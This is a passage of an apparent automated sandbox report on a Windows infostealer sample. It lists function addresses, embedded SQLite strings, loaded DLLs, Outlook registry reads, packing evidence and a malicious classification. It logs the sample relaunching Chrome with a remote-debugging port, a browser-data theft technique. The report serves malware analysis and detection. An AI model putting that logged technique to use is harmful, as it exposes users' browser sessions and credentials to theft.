Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720F20	0_2_6C720F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEFF0	0_2_6C6BEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0FE0	0_2_6C5E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728FB0	0_2_6C728FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EEFB0	0_2_6C5EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4840	0_2_6C6B4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630820	0_2_6C630820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A820	0_2_6C66A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E68E0	0_2_6C6E68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618960	0_2_6C618960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636900	0_2_6C636900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC9E0	0_2_6C6FC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6149F0	0_2_6C6149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709A0	0_2_6C6709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A09B0	0_2_6C6A09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65CA70	0_2_6C65CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698A30	0_2_6C698A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FC80	0_2_6C67FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3840	0_2_6C6B3840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F8C0	0_2_6C67F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F960	0_2_6C65F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D960	0_2_6C69D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695920	0_2_6C695920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F900	0_2_6C72F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6459F0	0_2_6C6459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6779F0	0_2_6C6779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6799C0	0_2_6C6799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6199D0	0_2_6C6199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1980	0_2_6C5F1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1990	0_2_6C6B1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769A50	0_2_6C769A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDA30	0_2_6C6DDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61FA10	0_2_6C61FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681A10	0_2_6C681A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AE0	0_2_6C5E1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDAB0	0_2_6C6BDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BFB60	0_2_6C6BFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62BB20	0_2_6C62BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627BF0	0_2_6C627BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639BA0	0_2_6C639BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9BB0	0_2_6C6A9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1B80	0_2_6C5D1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5B90	0_2_6C6C5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9430	0_2_6C6C9430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D410	0_2_6C66D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E14E0	0_2_6C5E14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7614A0	0_2_6C7614A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5510	0_2_6C5F5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F510	0_2_6C72F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C647500	0_2_6C647500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6655F0	0_2_6C6655F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619590	0_2_6C619590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9650	0_2_6C5F9650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635640	0_2_6C635640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609600	0_2_6C609600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657610	0_2_6C657610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6116A0	0_2_6C6116A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6496A0	0_2_6C6496A0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7609D0 appears 334 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76D930 appears 64 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C63C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76DAE0 appears 82 times

Source: file.exe, 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2087576303.000000006F8F2000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: mwmmcnmo ZLIB complexity 0.995093484526699

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\CH9HP01H.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1897612753.0000000001622000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1896765141.000000001D7C4000.00000004.00000020.00020000.00000000.sdmp, BGCAAFHIEBKJKEBFIEHD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2087026198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2081735685.000000001D8C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 41%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2184,i,17577529388536568339,1555015653757445265,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2184,i,17577529388536568339,1555015653757445265,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2126336 > 1048576

Source: file.exe

Static PE information: Raw size of mwmmcnmo is bigger than: 0x100000 < 0x19c000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2087537762.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1693251451.00000000051CB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2087420565.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1693251451.00000000051CB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2087420565.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2087537762.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mwmmcnmo:EW;ckuqncoy:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mwmmcnmo:EW;ckuqncoy:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x2141c3 should be: 0x211670

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: mwmmcnmo
Source: file.exe	Static PE information: section name: ckuqncoy
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
